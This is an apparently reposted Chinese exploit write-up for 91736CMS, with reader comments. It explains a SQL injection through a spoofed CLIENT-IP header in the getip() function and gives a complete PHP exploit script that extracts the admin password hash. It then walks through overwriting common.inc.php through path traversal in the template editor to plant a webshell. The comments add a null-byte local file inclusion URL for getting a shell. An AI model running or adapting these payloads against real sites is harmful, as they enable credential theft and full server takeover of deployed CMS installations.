Author:Yaseng  &&Desperado

Team:CodePlay

Chinaz 下其源码   读之发现有万恶的 GetIp() 

//获取IP
function getip() {  
		if (getenv ( "HTTP_CLIENT_IP" )) {
			$httpip = getenv ( "HTTP_CLIENT_IP" );
			return $httpip;
		}
		if (getenv ( "HTTP_X_FORWARDED_FOR" )) {
			$httpip = getenv ( "HTTP_X_FORWARDED_FOR" );
			return $httpip;
		}
		if (getenv ( "HTTP_X_FORWARDED" )) {
			$httpip = getenv ( "HTTP_X_FORWARDED" );
			return $httpip;
		}
		if (getenv ( "HTTP_FORWARDED_FOR" )) {
			$httpip = getenv ( "HTTP_FORWARDED_FOR" );
			return $httpip;
		}
		if (getenv ( "HTTP_FORWARDED" )) {
			$httpip = getenv ( "HTTP_FORWARDED" );
			return $httpip;
		}
		$httpip = $_SERVER ['REMOTE_ADDR'];
		return $httpip;
}

很多cms都死在这里 

原理就不讲鸟  百度之 

需要使用  curl  在命令行下使用 curl 方法 

1.打开php.ini,开启extension=php_curl.dll 

2.检查php.ini的extension_dir值是哪个目录,检查有无php_curl.dll,没有的请下载php_curl.dll,再把php目录中的libeay32.dll,ssleay32.dll拷到c:\windows\system32里面

直接给出  exp

具体见附件:91736.php

操作演示

91736cms Getip SQL Injection & 后台妙拿 WebShell

额 我承认前面的技术很老

来点有新意的吧

上面那个tmd5 破解需要钱 我就用本地演示 后台拿shell 了 来到 后台 getShell

看到鸟模板管理 欣慰之

91736cms Getip SQL Injection & 后台妙拿 WebShell

点开编辑

目测是 Smarty 模板引擎

{php}

phpinfo();

{/php}

91736cms Getip SQL Injection & 后台妙拿 WebShell

Shit 既然禁止鸟 php标签

91736cms Getip SQL Injection & 后台妙拿 WebShell

额 看能不能吧 模板文件名改一下

Tamper 看一下 post 包

91736cms Getip SQL Injection & 后台妙拿 WebShell

果断改 index.html 为 1.php

91736cms Getip SQL Injection & 后台妙拿 WebShell

悲剧了 看来得找一下php文件覆盖之

模板目录在 system\templates\default12 目录下

在 system 找到一个 php文件 common.inc.php

覆盖他妹的

把 tamper 中的file 改为 ../../common.inc.php

查看 common.inc.php

91736cms Getip SQL Injection & 后台妙拿 WebShell

 

成功写入 php (ps:这种方法比较猥琐 会把网站搞烂 建议实际使用时换一个不重要的php文件覆盖 or 拿到 一句话之后 恢复之) 测试了一下官网 发现最新版有错误

额 有时间在研究吧

Done !!!

CodePlay 代码审计 交流群 209547366 (共同进步)


91736.php

<?php
print_r('
+---------------------------------------------------------------------------+
91736CMS Getip() Remote SQL Injection Exploit
by CodePlay Team (Yaseng && Desperado)
if  expoit  success  you can  see  get  admin  pass
+---------------------------------------------------------------------------+
');
if ($argc < 4)
{
print_r('
+---------------------------------------------------------------------------+
Example:
php '.$argv[0].' localhost name   pass
+---------------------------------------------------------------------------+
');
exit;
}
error_reporting(3);
ini_set('max_execution_time', 0);
$host = $argv[1];
$username = $argv[2];
$password = $argv[3];
 //注册用户
	$styleUrl=$host."/index.php?m=member&f=register_save";
	$styleData="username={$username}&password={$password}&password2={$password}&fields%5Btruename%5D={$username}&fields%5Bemail%5D={$username}&submit=+%D7%A2+%B2%E1+";
	$ch = curl_init($styleUrl);
	curl_setopt($ch, CURLOPT_HEADER, 0);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_POSTFIELDS, $styleData);
	curl_setopt($ch, CURLOPT_POST, 1);
	$token=curl_exec($ch);
	curl_close($ch);
 $cookie_file	=	tempnam('./temp','cookie');
$site = $host;
$post_fields	=	"username={$username}&password={$password}&button=+%B5%C7%C2%BC+";   //登陆数据包
$login_url=$site."/index.php?m=member&f=login_save";
$cookie_file	=	tempnam('./temp','cookie');
$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER , array('X-FORWARDED-FOR:fuck', "CLIENT-IP:fuck  by  C.P.T',`email`=(SELECT password FROM `c_admin` ),`logins`=4 WHERE `username`='$username'#") );  //构造IP
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
 curl_exec($ch);
curl_close($ch);
	$styleUrl=$host."/index.php?m=member&f=edit";
	$styleData="";
	$ch = curl_init($styleUrl);
	curl_setopt($ch, CURLOPT_HEADER, 0);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
	curl_setopt($ch, CURLOPT_POSTFIELDS, $styleData);
	curl_setopt($ch, CURLOPT_POST, 1);
	$data=curl_exec($ch);
	curl_close($ch);
    $regex="/id=\"email\"(.*)<\/td>/i";
    preg_match($regex,$data,$result);
    $regex="/value=\"(.*)\"/";
    if(preg_match($regex,$result[0],$pass)){
      echo   "shit pass:".$pass[1]." and  login  the   admin   Panel  to  getShell";
    }
    else{
echo  "fuck !!!    you  are  field  ";
    }
?>

留言评论(旧系统):

晴天小铸 @ 2012-05-18 13:09:41

呵呵exp有个小小问题 如果账户不是admin又得改自段去搞 -。- 不如直接点账户密码一起爆 嘻嘻。。 蛋疼的说下不是吐曹。。

本站回复:

纯转载……

fanliqwe @ 2012-05-19 12:58:14

唉现在用小R自动静态代码 自动生成exp 看来跟sql注入一样要烂大街了 $cookie_file = tempnam('./temp','cookie'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 改都不改一下 还真以为不知道是什么模板生成的吗.....

本站回复:

啥????没明白。。。

Yaseng @ 2012-05-19 13:19:04

额 借 核攻击大牛的宝地回复一下 ls $cookie_file = tempnam('./temp','cookie'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); http://www.php100.com/html/shipinjiaocheng/PHP100shipinjiaocheng/2010/0621/4795.html 这个是俺学 php时 学的 那个老师写的 然后就一直copy 了

本站回复:

╮(╯_╰)╭

Yaseng @ 2012-05-19 13:21:07

额 借 核攻击大牛的宝地回复一下 ls (上次找错地方了 原谅我吧 ) $cookie_file = tempnam('./temp','cookie'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); http://www.php100.com/html/shipinjiaocheng/PHP100shipinjiaocheng/2010/0621/4795.html 这个是俺学 php时 学的 那个老师写的 然后就一直copy 了

本站回复:

(╰_╯)#

fanliqwe @ 2012-05-19 18:53:12

略微看了下 跟你补充 一下这厉害cms的getshell 吧十分简单 http://127.0.0.1/index.php?m=../../uploadfile&c=1.txt%00 还有upload.php 也可以getshell 路径自定 win系统getshell

本站回复:

\(^o^)/~

fanliqwe @ 2012-05-19 18:55:00

不用进后台 会员上传图片估计就直接ok

本站回复:

o(︶︿︶)o

fanliqwe @ 2012-05-19 18:56:46

大概是小白都懂 $m=safe_replace(isset($_GET["m"])) ? safe_replace($_GET["m"]) : "content"; $c=safe_replace(isset($_GET["c"])) ? safe_replace($_GET["c"]) : "index"; $f=safe_replace(isset($_GET["f"])) ? safe_replace($_GET["f"]) : "init"; include MOD_PATH.$m."/".$c.".php"; /system/common.inc.php /system/function/fun.inc.php /system/function/global.inc.php

本站回复:

╭(╯^╰)╮

fanliqwe @ 2012-05-19 19:00:20

会员看来不行 这货还是要进后台...

本站回复:

╮(╯﹏╰)╭

fanliqwe @ 2012-05-19 19:12:31

略微看了下 跟你补充 一下这厉害cms的getshell 吧十分简单 不用那么麻烦 http://127.0.0.1/index.php?m=../../uploadfile&c=1.txt%00 还有upload.php 也可以getshell 路径自定 win系统getshell

本站回复:

╮(╯▽╰)╭